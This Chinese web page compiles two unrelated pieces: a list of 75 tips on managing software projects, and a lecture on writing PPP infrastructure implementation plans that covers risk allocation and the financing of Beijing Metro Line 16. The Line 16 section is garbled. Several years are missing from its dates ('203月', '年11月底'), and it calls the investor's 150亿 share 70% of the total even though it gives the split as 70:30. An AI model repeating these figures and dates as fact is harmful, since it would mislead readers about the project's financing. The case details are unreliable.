以下是小编整理的如何有效编写软件的75条建议,本文共5篇,欢迎阅读分享,希望对大家有帮助。
1. 你们的项目组使用源代码管理工具了么?
应该用,vss、cvs、pvcs、clearcase、ccc/harvest、firefly都可以。我的选择是vss。
2. 你们的项目组使用缺陷管理系统了么?
应该用。clearquest太复杂,我的推荐是bugzilla。
3. 你们的测试组还在用word写测试用例么?
不要用word写测试用例(test case)。应该用一个专门的系统,可以是test manager,也可以是自己开发一个asp.net的小网站。主要目的是track和browse。
4. 你们的项目组有没有建立一个门户网站?
要有一个门户网站,用来放contact info、baselined schedule、news等等。推荐sharepoint portal server 来实现,15分钟就搞定。买不起sps 2003可以用wss (windows sharepoint service)。
5. 你们的项目组用了你能买到最好的工具么?
应该用尽量好的工具来工作。比如,应该用vs.net而不是notepad来写c#。用notepad写程序多半只是一种炫耀。但也要考虑到经费,所以说是“你能买到最好的”。
6. 你们的程序员工作在安静的环境里么?
需要安静环境。这点极端重要,而且要保证每个人的空间大于一定面积。
7. 你们的员工每个人都有一部电话么?
需要每人一部电话。而且电话最好是带留言功能的。当然,上这么一套带留言电话系统开销不小。不过至少每人一部电话要有,千万别搞得经常有人站起来喊:“某某某电话”。《人件》里面就强烈谴责这种做法。
8. 你们每个人都知道出了问题应该找谁么?
应该知道。任何一个feature至少都应该有一个owner,当然,owner可以继续dispatch给其他人。
9. 你遇到过有人说“我以为…”么?
要消灭“我以为”。never assume anything。
10. 你们的项目组中所有的人都坐在一起么?
需要。我反对virtual team,也反对dev在美国、test在中国这种开发方式。能坐在一起就最好坐在一起,好处多得不得了。
11. 你们的进度表是否反映最新开发进展情况?
应该反映。但是,应该用baseline的方法来管理进度表:维护一份稳定的schedule,再维护一份最新更改。baseline的方法也应该用于其它的spec。baseline是变更管理里面的一个重要手段。
12. 你们的工作量是先由每个人自己估算的么?
应该让每个人自己估算。要从下而上估算工作量,而不是从上往下分派。除非有其他原因,比如政治任务工期固定等。
13. 你们的开发人员从项目一开始就加班么?
不要这样。不要一开始就搞疲劳战。从项目一开始就加班,只能说明项目进度不合理。当然,一些对日软件外包必须天天加班,那属于剥削的范畴。
14. 你们的项目计划中buffer time是加在每个小任务后面的么?
不要。buffer time加在每个小任务后面,很容易轻易的就被消耗掉。buffer time要整段的加在一个milestone或者checkpoint前面。
15. 值得再多花一些时间,从95%做到100%好值得,非常值得。
尤其当项目后期人困马乏的时候,要坚持。这会给产品带来质的区别。
16. 登记新缺陷时,是否写清了重现步骤?
要。这属于dev和test之间的沟通手段。面对面沟通需要,详细填写repro steps也需要。
17. 写新代码前会把已知缺陷解决么?
要。每个人的缺陷不能超过10个或15个,否则必须先解决老的bug才能继续写新代码。
18. 你们对缺陷的轻重缓急有事先的约定么?
必须有定义。severity要分1、2、3,约定好:蓝屏和data lost算sev 1,function error算sev 2,界面上的算sev 3。但这种约定可以根据产品质量现状适当进行调整。
19. 你们对意见不一的缺陷有三国会议么?
必须要有。要有一个明确的决策过程。这类似于ccb (change control board)的概念。
20. 所有的缺陷都是由登记的人最后关闭的么?
bug应该由opener关闭。dev不能私自关闭bug。
21. 你们的程序员厌恶修改老的代码么?
厌恶是正常的。解决方法是组织code review,单独留出时间来。xp也是一个方法。
22. 你们项目组有team morale activity么?
每个月都要搞一次,吃饭、唱歌、outing、打球、开卡丁车等等,一定要有。不要剩这些钱。
23. 你们项目组有自己的logo么?
要有自己的logo。至少应该有自己的codename。
24. 你们的员工有印有公司logo的t-shirt么?
要有。能增强归属感。当然,t-shirt要做的好看一些,最好用80支的棉来做。别没穿几次就破破烂烂的。
25. 总经理至少每月参加次项目组会议要的。
要让team member觉得高层关注这个项目。
26. 你们是给每个dev开一个分支么?
反对。branch的管理以及merge的工作量太大,而且容易出错。
27. 有人长期不check-in代码么?
不可以。对大部分项目来说,最多两三天就应该check-in。
28. 在check-in代码时都填写注释了么?
要写的,至少一两句话,比如“解决了bug no.225”。如果往高处拔,这也算做“配置审计”的一部分。
29. 有没有设定每天check-in的最后期限?
要的,要明确check-in deadline。否则会build break。
30. 你们能把所有源码一下子编译成安装文件吗?
要的。这是每日编译(daily build)的基础。而且必须要能够做成自动的。
31. 你们的项目组做每日编译么?
当然要做。有三样东西是软件项目/产品开发必备的:1. bug management; 2. source control; 3. daily build。
32. 你们公司有没有积累一个项目风险列表?
要。risk inventory。否则,下个项目开始的时候,又只能拍脑袋分析risk了。
33. 设计越简单越好越简单越好。
设计时候多一句话,将来可能就带来无穷无尽的烦恼。应该从一开始就勇敢的砍。这叫scope management。
34. 尽量利用现有的产品、技术、代码千万别什么东西都自己coding。biztalk和sharepoint就是最好的例子,有这两个作为基础,可以把起点 提高很多。或者可以尽量多用现成的control之类的。或者尽量用xml,而不是自己去parse一个文本文件;尽量用regexp,而不是自己从头操 作字符串,等等等等。这就是“软件复用”的体现。
35. 你们会隔一段时间就停下来夯实代码么?
要。最好一个月左右一次。传言去年年初windows组在stevb的命令下停过一个月增强安全。btw,“夯”这个字念“hang”,第一声。
36. 你们的项目组每个人都写daily report么?
要写。五分钟就够了,写10句话左右,告诉自己小组的人今天我干了什么。一则为了沟通,二则鞭策自己(要是游手好闲一天,自己都会不好意思写的)。
37. 你们的项目经理会发出weekly report么?
要。也是为了沟通。内容包括目前进度,可能的风险,质量状况,各种工作的进展等。
38. 你们项目组是否至少每周全体开会一次?
要。一定要开会。程序员讨厌开会,但每个礼拜开会时间加起来至少应该有4小时。包括team meeting, spec review meeting, bug triage meeting。千万别大家闷头写code。
39. 你们项目组的会议、讨论都有记录么?
会前发meeting request和agenda,会中有人负责主持和记录,会后有人负责发meeting minutes,这都是effective meeting的要点。而且,每个会议都要形成agreements和action items。
40. 其他部门知道你们项目组在干什么么?
要发一些newsflash给整个大组织。show your team’s value。否则,当你坐在电梯里面,其他部门的人问:“你们在干嘛”,你回答“abc项目”的时候,别人全然不知,那种感觉不太好。
41. 通过email进行所有正式沟通
email的好处是免得抵赖。但也要避免矫枉过正,最好的方法是先用电话和当面说,然后email来确认,
42. 为项目组建立多个mailing group
如果在ad exchange里面,就建distribution list。比如,我会建abc project core team,abc project dev team,abc project all testers,abc project extended team等等。这样发起email来方便,而且能让该收到email的人都收到、不该收到不被骚扰。
43. 每个人都知道哪里可以找到全部的文档么?
应该每个人都知道。这叫做知识管理(knowledge management)。最方便的就是把文档放在一个集中的file share,更好的方法是用sharepoint。
44. 你做决定、做变化时,告诉大家原因了么?
要告诉大家原因。empower team member的手段之一是提供足够的information,这是msf一开篇的几个原则之一。的确如此,tell me why是人之常情,tell me why了才能有understanding。中国人做事喜欢搞限制,限制信息,似乎能够看到某一份文件的人就是有身份的人。大错特错。权威、权力,不在于 是不是能access information/data,而在于是不是掌握资源。
45. stay agile and expect change 要这样。
需求一定会变的,已经写好的代码一定会被要求修改的。做好心理准备,对change不要抗拒,而是expect change。
46. 你们有没有专职的软件测试人员?
要有专职测试。如果人手不够,可以peer test,交换了测试。千万别自己测试自己的。
47. 你们的测试有一份总的计划来规定做什么和怎么做么?
这就是test plan。要不要做性能测试?要不要做usability测试?什么时候开始测试性能?测试通过的标准是什么?用什么手段,自动的还是手动的?这些问题需要用test plan来回答。
48. 你是先写test case然后再测试的么?
应该如此。应该先设计再编程、先test case再测试。当然,事情是灵活的。我有时候在做第一遍测试的同时补上test case。至于先test case再开发,我不喜欢,因为不习惯,太麻烦,至于别人推荐,那试试看也无妨。
49. 你是否会为各种输入组合创建测试用例?
不要,不要搞边界条件组合。当心组合爆炸。有很多test case工具能够自动生成各种边界条件的组合??但要想清楚,你是否有时间去运行那么多test case。
50. 你们的程序员能看到测试用例么?
要。让dev看到test case吧。我们都是为了同一个目的走到一起来的:提高质量。
51. 你们是否随便抓一些人来做易用性测试?
要这么做。自己看自己写的程序界面,怎么看都是顺眼的。这叫做审美疲劳??臭的看久了也就不臭了,不方便的永久了也就习惯了。
52. 你对自动测试的期望正确么?
别期望太高。依我看,除了性能测试以外,还是暂时先忘掉“自动测试”吧,忘掉winrunner和loadrunner吧。对于国内的软件测试的现状来说,只能“矫枉必须过正”了。
53. 你们的性能测试是等所有功能都开发完才做的么?
不能这样。性能测试不能被归到所谓的“系统测试”阶段。早测早改正,早死早升天。
54. 你注意到测试中的杀虫剂效应了么?
虫子有抗药性,bug也有。发现的新bug越来越少是正常的。这时候,最好大家交换一下测试的area,或者用用看其他工具和手法,就又会发现一些新bug了。
55. 你们项目组中有人能说出产品的当前整体质量情况么?
要有。当老板问起这个产品目前质量如何,test lead/manager应该负责回答。
56. 你们有单元测试么?
单元测试要有的。不过没有单元测试也不是不可以,我做过没有单元测试的项目,也做成功了??可能是侥幸,可能是大家都是熟手的关系。还是那句话,软件工程是非常实践、非常工程、非常灵活的一套方法,某些方法在某些情况下会比另一些方法好,反之亦然。
57. 你们的程序员是写完代码就扔过墙的么?
大忌。写好一块程序以后,即便不做单元测试,也应该自己先跑一跑。虽然有了专门的测试人员,做开发的人也不可以一点测试都不做。微软还有test release document的说法,程序太烂的话,测试有权踢回去。
58. 你们的程序中所有的函数都有输入检查么?
不要。虽然说做输入检查是write secure code的要点,但不要做太多的输入检查,有些内部函数之间的参数传递就不必检查输入了,省点功夫。同样的道理,未必要给所有的函数都写注释。写一部分主要的就够了。
59. 产品有统一的错误处理机制和报错界面么?
要有。最好能有统一的error message,然后每个error message都带一个error number。这样,用户可以自己根据error number到user manual里面去看看错误的具体描述和可能原因,就像sql server的错误那样。同样,asp.net也要有统一的exception处理。可以参考有关的application block。
60. 你们有统一的代码书写规范么?
要有。code convention很多,搞一份来发给大家就可以了。当然,要是有fxcop这种工具来检查代码就更好了。
61. 你们的每个人都了解项目的商业意义么?
要。这是vision的意思。别把项目只当成工作。有时候要想着自己是在为中国某某行业的信息化作先驱者,或者时不时的告诉team member,这个项目能够为某某某国家部门每年节省多少多少百万的纳税人的钱,这样就有动力了。平凡的事情也是可以有个崇高的目标的。
62. 产品各部分的界面和操作习惯一致么?
要这样。要让用户觉得整个程序好像是一个人写出来的那样。
63. 有可以作为宣传亮点的cool feature么?
要。这是增强团队凝聚力、信心的。而且,“一俊遮百丑”,有亮点就可以掩盖一些问题。这样,对于客户来说,会感觉产品从质量角度来说还是acceptable的。或者说,cool feature或者说亮点可以作为质量问题的一个事后弥补措施。
64. 尽可能缩短产品的启动时间要这样。
软件启动时间(start-up time)是客户对性能好坏的第一印象。
65. 不要过于注重内在品质而忽视了第一眼的外在印象程序员容易犯这个错误:太看重性能、稳定性、存储效率,但忽视了外在感受。而高层经理、客户正相反。这两方面要兼顾,协调这些是pm的工作。
66. 你们根据详细产品功能说明书做开发么?
要这样。要有设计才能开发,这是必须的。设计文档,应该说清楚这个产品会怎么运行,应该采取一些讲故事的方法。设计的时候千万别钻细节,别钻到数据库、代码等具体实现里面去,那些是后面的事情,一步步来不能着急。
67. 开始开发和测试之前每个人都仔细审阅功能设计么?
要做。function spec review是用来统一思想的。而且,review过以后形成了一致意见,将来再也没有人可以说“你看,当初我就是反对这么设计的,现在吃苦头了吧”
68. 所有人都始终想着the whole image么?
要这样。项目里面每个人虽然都只是在制造一片叶子,但每个人都应该知道自己在制造的那片叶子所在的树是怎么样子的。我反对软件蓝领,反对过分的把软件制造看成流水线、车间。参见第61条。
69. dev工作的划分是单纯纵向或横向的么?
不能单纯的根据功能模块分,或者单纯根据表现层、中间层、数据库层分。我推荐这么做:首先根据功能模块分,然后每个“层”都有一个owner来review所有人的设计和代码,保证consistency。
70. 你们的程序员写程序设计说明文档么?
要。不过我听说微软的程序员以前也不写。所以说,写不写也不是绝对的,偷懒有时候也是可以的。参见第56条。
71. 你在招人面试时让他写一段程序么?
要的。我最喜欢让人做字符串和链表一类的题目。这种题目有很多循环、判断、指针、递归等,既不偏向过于考算法,也不偏向过于考特定的api。
72. 你们有没有技术交流讲座?
要的。每一两个礼拜搞一次内部的tech talk或者chalk talk吧。让组员之间分享技术心得,这笔花钱送到外面去培训划算。
73. 你们的程序员都能专注于一件事情么?
要让程序员专注一件事。例如说,一个部门有两个项目和10个人,一种方法是让10个人同时参加两个项目,每个项目上每个人都花50%时间;另一种方 法是5个人去项目a,5个人去项目b,每个人都100%在某一个项目上。我一定选后面一种。这个道理很多人都懂,但很多领导实践起来就把属下当成可以任意 拆分的资源了。
74. 你们的程序员会夸大完成某项工作所需要的时间么?
会的,这是常见的,尤其会在项目后期夸大做某个change所需要的时间,以次来抵制change。解决的方法是坐下来慢慢磨,磨掉程序员的逆反心理,一起分析,并把估算时间的颗粒度变小。
75. 尽量不要用virtual heads 最好不要用virtual heads。
virtual heads意味着resource is not secure,shared resource会降低resource的工作效率,容易增加出错的机会,会让一心二用的人没有太多时间去review spec、review design。一个dedicated的人,要强过两个只能投入50%时间和精力的人。我是吃过亏的:7个part time的tester,发现的bug和干的活,加起来还不如两个full-time的。参见第73条。73条是针对程序员的,75条是针对 resource manager的。
ppp项目实施方案编制程序及规范要求
ppp项目实施方案是发改系统参与ppp的一个十分重要的环节,而且对ppp项目来说,实施方案也是整个ppp项目的灵魂。
所以,今天的主题就是ppp项目实施方案的编制。
首先说一下ppp的操作流程。
方案研究论证阶段:
一是项目主管部门根据需求提出,什么样的项目适合做ppp,什么样的项目不适合做ppp,我觉得适合不适合要看项目的需求,也就是说我这个地方的建设为了百姓的生活,或者为了改革城市环境,有这样一个项目,首先是项目的提出。
二是项目可行性初步论证。
三是实施方案研究。
这是最大最重要的环节,在这里要研究清楚整个项目的投融资模式、项目价格模式、项目风险分担方案、建设监管方案、运营服务监管方案、项目退出机制、选择投资人方式,这些是我们要研究的核心内容。
以前叫预可研,但容易与一般建设项目管理程序中的预可研发生混淆,所以在ppp流程中我们叫它实施方案。
ppp项目操作的流程与传统的项目管理流程不是冲突的,而是互补的。
对于项目管理我国有一套成熟的体系,并不因为是ppp项目就可以有特殊待遇,就可以不按国家项目管理规则走,不是这个概念。
一定要按传统的规则,该做可研的做可研,该做初步设计的做初步设计,这套程序是要的,只不过因为我们要做ppp,要处理地方政府和社会投资人的一些关系,所以要增加一个ppp实施方案的过程。
五是实施方案审批。
审批主体严格来说是地方政府,但在实际操作过程中都是由发改会同财政、税务、环保等部门共同对《实施方案》进行联审后报市政府批准。
社会投资方选择阶段:
一是要制定招商方案,根据实施方案编制的原则确定招商条件、合同文件等。
二是发布招商公告。
按照财政215号文件,要发布资本预审公告,主要的目的是向社会公开这个项目要做ppp了,让感兴趣的社会投资人都来报名,这就是公告的目的。
三是确定社会投资方。
通过公开招标、竞争性谈判、邀请招标、单一来源采购、竞争性磋商等方式确定社会投资人。
四是第一次签约。
确定社会投资人后就签约,签约通常有两次,第一次市政府主管部门和投资人签,因为这个时候项目公司还没有成立。
五是第二次签约。
等到投资人项目公司成立以后,政府和社会项目公司就进行第二次签约。
签约方式有好多种,不见得非得分两次签,也可以单次,第一次签约时给项目公司留下位置,待项目公司成立再来补签,这也是可以的。
还有一种方法是政府主管部门和投资人签了投资协议,投资协议里明确了投资人的责任事项,把政府和项目公司的ppp协议作为投资协议的附件,这些都是没有问题的,只要合同体系把所有的责权利规定清楚,怎么签问题都不大。
下面具体来看实施方案的内容。
一、项目概况
项目概况一定要说清楚两个方面的内容,一方面是常见的规划、立项,在一般项目中基本都涉及到;第二方面是项目的建设范围和服务目标,这是作为ppp实施方案必须说明的内容。
二、风险分配
实际上整个ppp项目操作是否成功,要看是否有合理的风险分配体系,在政企双方都觉得风险可控的情况下,我能够获得一定的收益,那么这个事情就可能成功。
风险分配一般分两个阶段来做,一是项目风险识别;二是风险分担机制设计。
项目风险识别
ppp风险来自四个层面:政府层面、市场层面、项目层面和不可抗力。
不可抗力风险是任何项目都可能会遇到的,而且它的风险分配有自然规律,也就是说大家比较认可的规律,通常在发生不可抗力事件时,双方各自承担风险,各自承担相应的损失,各自了不承担相应的违约责任,所以后面就不赘述了,重点讲前三项风险。
1.政府层面的风险
这是投资方比较在意和担心的。
一是政府干预。
投资人来了,他希望有自己决策的空间,特别是在项目的关键技术、设备选型等环节。
我曾经经历过一件事,一个县的污水处理厂,当时是由县建设局来操办的bot项目,都已经签约了,这个建设局局长打电话问我,说他们现在开始买设备了,在设备选型阶段我要不要跟着去,要不要发表建议。
我跟他讲,你不要去管,在你的干预下,买下来的设备如果好固然没问题,如果不好,将来处理处理污水不达标算谁的责任,该投资人自己决策的就自己去决策。
反过来说,有些时候政府一定要干预,会给项目带来一些不好的结果。
有一个案例是台湾的高铁项目,曾经作为成功案例到处宣传,但是到这个项目失败了,原因是高铁公司运营亏损,资不抵债。
在他失败以后,马上就成为业界研究的案例,研究其失败的原因,有各种各样的原因,但是我注意到其中有一个细节,当时的联合体中有一家法国的以高铁信号为主的公司,当时的联合体里基本以法国技术为主,但后来项目在建设过程中,政府的领导层去日本参观考察,觉得日本的高铁好,就要求项目公司要买日本的设备、日本的车,最后项目运行后,日本的车匹配的是法国系统,两种系统的不兼容导致了技术上的问题。
所以,政府干预会给项目带来意想不到的风险。
所以,政府在该管的地方管,不该管的就不要管。
二是政府信用。
这也是投资方很担心的,这个问题目前没有更好的方案去防范。
我跟投资人说,政府信用这块是社会问题,不是项目管理的问题,但同时我也和投资人说,你拿到项目的条件越公平,政府违约的可能性就越低。
长春汇津是一个典型的案例,当时政府之所以要违约,也在于汇津前面所拿到的条件是政府回顾过来觉得这个条件不可承受,我们宁可违约,宁可收回也不能再履行下去,所以说政府信用也是双方的,我通常也会对投资人说,不是政府单方的问题。
三是公众反对。
它与项目立项相关,如果项目立项过程,特别是环评过程得到公众充分理解以后,那么项目开工以后这方面的风险会低。
反过来说,如果前期环评征求公众意见的过程没有去做,在项目开工进场时遭到反对,会拖延工期,拖延工期就会导致成本增加,这是项目需要防范的地方。
四是税收调整。
这部分相对比较简单,它的控制措施也相对简单,因为税收政策比较明朗,税收的变化给项目带来的影响也比较明确,只要双方调整协议就可以了。
所以,这方面对项目的影响倒不是太严重。
五是决策、审批延误。
六是环保风险。
对一个项目来说,目前在项目筹建阶段,环保的一些要求是明晰的,但是随着我们对环保越来越重视,很可能在未来项目建设过程中环保的要求会提高,反过来会造成我们这个项目又不符合环保要求,这种风险最少造成项目的设计变更或导致投资运行费用增加,我们一般会在合同里给项目投资方一个出口,也就是说当发生这样的事情时,要相应协商一些政府补贴机制等等,因为这个风险不应该由投资方承担。
七是法律变更。
主要是我们现行的法律法规规定,导致项目投资或运行成本发生变化。
这种风险通常由双方共担,双方画一条线,如果变化导致的影响成本很小,就由投资方承担,如果超过了画的这条线,政府要承担风险。
以上按照风险谁有能力控制就由谁来承担的原则,这些风险一般来说由政府承担。
2.市场层面的风险
一是利率风险。
二是外汇风险。
三是通货膨胀。
针对利率风险、外汇风险、通货膨胀基本都会设计一个由社会投资方和政府方共同承担的风险转移原则,如果没有这套原则就会直接影响到社会投资方。
四是融资风险。
我们的项目仅仅靠自有资金是建立不起来的,还需要得到银行方一些资金的支持。
这里首先是融资成本的问题,同时还有融资能否实现的问题,目前控制融资风险最好的办法是在ppp合同谈判期间,在实施过程中就将金融机构拉进来,让金融机构提早了解这个项目,同时也提早了解金融机构的要求,通过这样一种操作,使得项目融资风险降低,使得签约以后就能够拿到贷款。
五是项目唯一性。
六是市场需求变化。
项目唯一性和市场需求变化都是社会投资方比较关心的环节,它会影响到项目的收入。
政府方对这类项目的管理,如果可以是唯一性的,就承诺给他唯一性。
比如一个区域的污水处理厂,在一定水量范围内,确实是只能建一个,除非水量增加,以保证项目需求。
同时对市场需求的变化做好合理分配,比较好的方式是双方共担。
七是第三方延误/违约。
因为一个项目不可能只独立在政府和社会投资方之间,社会投资方还会与外部发生一些合同关系,通常会通过合同管理的方式来做好第三方风险的管控。
3.项目层面的风险
一是土地获取风险。
一方面是土地手续是不是合规;另一方面征地拆迁工作要做得干净利落,没有后患,如果有后患影响开工也会给项目带来风险。
二是完工风险。
三是供应风险。
四是技术风险。
五是成本超支。
六是工程变更。
七是收费变更。
八是费用支付风险。
这些是任何项目都会遇到的风险,我们通过与政府方和外部第三方签定的合同做好分配,将项目的风险降到最低。
九是项目移交风险。
我们现在做的绝大多数ppp项目都是bot项目,都是三十年运营期结束后要移交给政府方的项目,这样的项目如果后期维护不周,将来交过来的是不能用的项目,对政府方是很大的一个风险,所以在合同里要对项目移交的标准做好要求,来控制好项目移交的风险。
十是社会投资方变动。
我们在招商时会要求投资人具备一定的财务能力、技术力量、管理经验、项目经验等等,投资方要有足够的能力来实施好这个项目。
但现在有一种社会现象叫挂靠,特别是地方政府有些个人,或者是有些小企业,一看这些要求达不到,就去找一个央企或外省的企业,打着他们的名头来做这个项目,拿到协议以后再做变更,把壳退掉。
这种情况就违背了我们招商的初衷,我们找的是有技术力量的企业,这种变动会给项目带来影响。
反过来说,我们在合同里要做好规定,投资方的股权转让一是受让方要满足当时招商时的要求,二是转让行为一定要政府方同意,这样的规定比较能很好的控制风险。
十一是招标竞争不充分。
这种风险在我做的ppp项目中特别多,我们公司的大项目都是其他人去做,我做的都是地方偏、投资人少,地方政府还着急的项目,这种情况必然导致招标竞争不充分,基本上来一家投资方就只能和他谈,没有别的办法。
要想控制招标竞争不充分的风险,一是不要太急,项目要早一点提出来,别等到快要开工了再来做,对外宣传的时间短,了解你的投资方就少。
二是尽管有可能政府的财力不够,但我们与其被动接受投资方资源补偿等一些要求,不如我们政府方先跟咨询机构把这些条件做好,做出一个我们认为大多数投资方都能接受的条件,我们再去招标,通俗讲就是将项目包装好,这样会适当控制招标竞争不充分的风险。
十二是项目测算不当。
这个风险对双方都存在,对投资人也是一样,因为招商时把他招进来之前,他肯定有财务测算的,如果他测得不妥,比如说一个污水处理厂,正常情况下是1.1元钱,他自己算的是1元钱可以做下来,这个风险肯定由投资方承担。
政府在做一对一谈判的时候,测算一定要算妥当了,测算不当会给后期带来问题。
十三是经营者能力不足。
一个项目交给投资方是需要他建好,运营好,这对经营者的能力要求是很高的,如果经营者能力不足会给项目带来潜在风险。
站在政府方角度,对这种风险的防范是在谈判阶段考察好将派到项目的主要人员的经验和水平,从而防范好经营者能力不足的风险。
十四是财务监管不力。
这也是比较重要的地方,社会投资方多种多样,当然绝大多数是想踏踏实实长期经营项目的,但不能排除一些投资方有某种目的,比如我遇到过一个,以前是做承包商的,现在政府项目少了,他想要继续做政府项目,他就需要做ppp的项目投资方。
他们的想法是只要收回本金就可以了。
如果资本金要求比较少,只有20%的资本金,另外80%是银行的,因为投资方他要实施项目建设,他认为在项目建设过程中能把20%的资本金赚回来就好,至于后面怎么样他不考虑。
当我们遇到有这种想法的投资人的时候,财务监管就非常重要,这可能涉及项目是否能够真正按照进度建好,尤其是银行方,有的项目还没有建完,钱全部出完了,最后剩个乱摊子,这是非常可怕的情况。
十五是配套基础设施风险。
投资方非常关注,我刚刚做的一个陕北某县输水管线的项目,在谈判过程中投资方要求一定要把临时用水用电的问题解决了。
甚至在谈判时政府方说我负责协调,投资方说不可以,要把协调改成落实,合同里这两个字带来的是将来双方责任的区别。
因此投资方非常关注基础设施配套问题,政府方该有担当也要担当,刚才这个项目如果真不给落实,投资方会很担心,他作为外来投资方,去落实临时用水用电的困难会比较大。
最后政府同意给他落实临时用水用电的接点。
十六是合同文本不完善。
实施过bot的地方政府应该经历过这样的事情,昨天座谈会上不止一个地方说从前实施的bot项目现在实施的不好,存在一些问题。
这种结果都是当初合同文本不完善带来的。
如果当初合同文本比较完善,把各种价格变动、各种监管因素都考虑进去,现在的项目不会遇到这种问题。
所以,完善的合同文本是ppp项目能够成功实施的保障,刚才说实施方案是开展ppp项目的基石,那么项目建好以后,在实施方案基石上的合同文本应该是完善的城墙,它能防范将来的各种纠纷,对各种变动都能够有很好的解决途径。
(二)风险分担概述
将项目风险在各方之间进行合理分配,可以有效降低项目总体风险程度,确保项目成功实施。
风险分担方式包括分别承担(等同于风险分配)和共同承担(双方按一定比例分摊)。
1.风险分担机制设计的基本原则
一是风险由对其最有控制力的一方承担。
刚才讲到政府层面的七个方面都是由政府方承担,谁最有能力控制风险就由谁承担,他自然会想方设法去控制风险,从而降低风险发生的概率和风险发生的成本。
二是承担的风险程度与所获得收益相匹配。
风险和收益相对等能够有效调动风险承担方的积极性。
三是承担的风险要有上限。
无论是政府方还是投资方,都不可能因为这一个项目的某一方面风险使得整个工作受到影响,特别是投资方,不可能因为投的一个项目导致最后血本无归,这是不可能的,所以各方承担风险要有上限。
三、运作方式
具体选择哪种运作方式要根据项目的具体特点而定。
四、交易模式
(一)投融资方案设计
刚才讲,实施方案是ppp项目的核心,那么交易模式就是核心中的核心。
交易模式包括投融资方案设计和投回报模式设计。
首先来看投融资方案设计。
1.ppp项目融资方案概要
ppp项目投资计划和融资方案解决4个问题:
投什么?——投资标的和范围。
投多少?——投资规模。
啥时投?——投资进度计划。
在以前做政府投资项目没有太关注这个,现在做ppp要比较关注投资收益率,投资计划进度会影响到收益率。
钱在哪?——资金筹措方案,不光是资本金的筹措,还有债务资金的筹措等等。
把这四方面的问题考虑清楚了,融资方案就做好了。
2.ppp项目投融资方案设计案例㈠
——北京地铁十六号线bot项目
北京地铁16号线是国务院首推80个引入社会资本(ppp)示范项目之一。
项目线路(含海淀山后线)全长约50km,总投资约540亿元。
计划底全线通车试运营。
项目自203月启动ppp实施,年11月底,在第十八届北京·香港经济合作研讨洽谈会上进行ppp签约。
金准咨询提供财务顾问服务。
项目结构
整个项目540亿的融资分成了两部分,第一个部分是股权融资,找了一个投资方(一家保险公司)与京投公司共同成立了一家政府方项目公司。
京投公司成立一个项目公司来建项目是北京市的传统,北京市地铁这么多条线路,以前都是京投公司成立一个项目公司专门负责这条线路的建设,过去都是京投全资子公司,但这一次十六号线,北京市政府说我不投那么多钱了,找一个社会股权投资者来和我一起投。
相应的带来一个问题,比如这个股权投资者他投了钱,将来在管理决策上与京投公司有冲突怎么办?我们当时设计的是找一个纯的财务投资人,只管拿钱,只管收益,其它的不想管。
正好保险机构就比较喜欢这样的方式,他把他的股权委托给京投公司来管理,京投公司给他付一个股权权益对价和股权回购款,相当于他的收益,然后逐步股权回购。
这样就完成了政府项目公司这一部分。
为什么这一部分要做这样大的融资?因为北京有一个做地铁ppp的传统,把地铁分成a、b两个部分,a部分由政府的公司来投资,b部分由社会投资方(特许经营公司)来投资,两部分按投资比例划分大概是7:3。
7:3为什么会成为北京市的标杆?这个其他城市可以不用借鉴,北京有当时的背景,当时做地铁4号线时,最早是想做成真正市场化的公司,也就是说政府分担70%的投资,投资人只负责30%的投资时,通过根据票款收益,可以实现整个项目的平衡。
那时的大背景是北京市的地铁还没有实行全票两块,还打算实行3元起步、分段计价。
在这种票价模式下,它可以支撑30%的回报,当时北京市有一个文件,将轨道交通项目投资做了一个比例的划分,70%由政府来投。
那个文件出来以后,北京地铁4号线、14号线、16号线都是按照这个模式来做的。
所以这个项目里,540亿的70%是很多的,所以北京市政府又在这一部分引入了一个股权投资方。
30%的部分仍然和以前的模式一样,由社会投资方来成立特许经营公司,来建b部分。
当然经营是不可能拆开的,ab要一起交给他运营。
通过运营一方面获取票款收入,另一方面获取财政补贴,特许经营公司的授权和监管部门是北京市交通委,项目特许经营期结束后,第一部分的资产再移交给政府方公司。
总投资和投资责任划分,概算总投资约540亿元。
a部分由政府承担:390亿元,约占总投资70%。
这部分主要是区间、车站等土建工程、管线改移、征地拆迁、工程其他费用、基本预备费、建设期利息等构成。
b部分由社会投资方负担:150亿元,约占总投资70%。
主要是通信、信号等机电设备工程、车辆购置、工程其他费用、基本预备费、建设期利息、铺底流动资金。
根据项目建设进度要求,明确ppp项目150亿元分年投资计划。
这个钱在哪一年投,对项目影响非常大。
通过下表可以看出,这个项目建设期有5年,建设期的利息有9亿,如果分年度投资计划控制得比较好,那么建设期利息是可以优化的。
北京市地铁四号线就是京港公司建设的,有人说四号线赚钱赚的特别多,确实是这样。
但是有些钱是人家该赚的。
比如建设期利息,当时他们负责的是50亿的投资,按照初步设计概算,建设期利息是2.6亿,但是后来我们对地铁四号线的实施效果作评价的时候发现,他们真正花出去的建设期利息还不到0.6亿。
这2个亿是怎么省出来的?因为他们的财务总监是北京首创集团派去的,这个财务总监和各个金融企业积累了良好的合作关系,各个金融企业给他的条件非常优厚,贷款可以随要随贷,随有随还。
用这样的方式,他的借款期利息就控制得非常好。
另一方面他有一个非常好的合同管理模式。
他负责的是车辆和设备的采购,他在设备采购付费的时候采用了一个里程碑式的付费方式,他把整个设备建设划分为特别细的环节,他叫里程碑,达到一个付你一部分,达到一个再付你一部分。
这样就把付款的进度拉得特别慢。
传统的模式可能一开始签合同,30%甚至是50%的预付款就付过去了。
钱一旦付出去了,利息就开始算了,所以能省出这2亿是他该省的。
但是十六号线项目没有给他空间,这9亿的建设期利息没有省下来,因为这个项目启动的有点晚,当确定投资方的时候,建管公司和设备供应商的设备采购合同已经签完了,投资方进来已经没有说话的空间了,只能按照预定的进度来投钱,相对来说建设期利息只能这样来算。
初始总投资540亿,a部分是政府承担,是按照资本金40%债务资金60%来分担的,资本金部分有保险公司的120亿加上其他资本金。
ppp公司承担b部分,资本金占33%,债务资金占67%,资本金部分的股本按比例出资,京投公司2%、首创集团49%、香港铁路49%。
作为二三十年的长期项目,一定不要忘了还有更新和追加投资,这在合同里一定要约定完全由ppp公司来自筹,如果没有这样的约定,到设备该更换的时候,投资方可能就找你来了,所以在合同里一定要约定好。
总体来说,这个项目给我的经验与启示是:
一是“保险机构-北京地铁16号线股权投资计划”首开国内轨道交通引入保险资金先河。
二是保险资金追求长期稳定的收益,基础设施往往投资规模巨大,依托项目自身收益或在政府支持下,项目现金流量较大,而且稳定,是适合保险资金投资的品种。
16号线股权融资项目对于利用保险资金,拓宽大型项目融资渠道、实现筹资多元化具有借鉴意义。
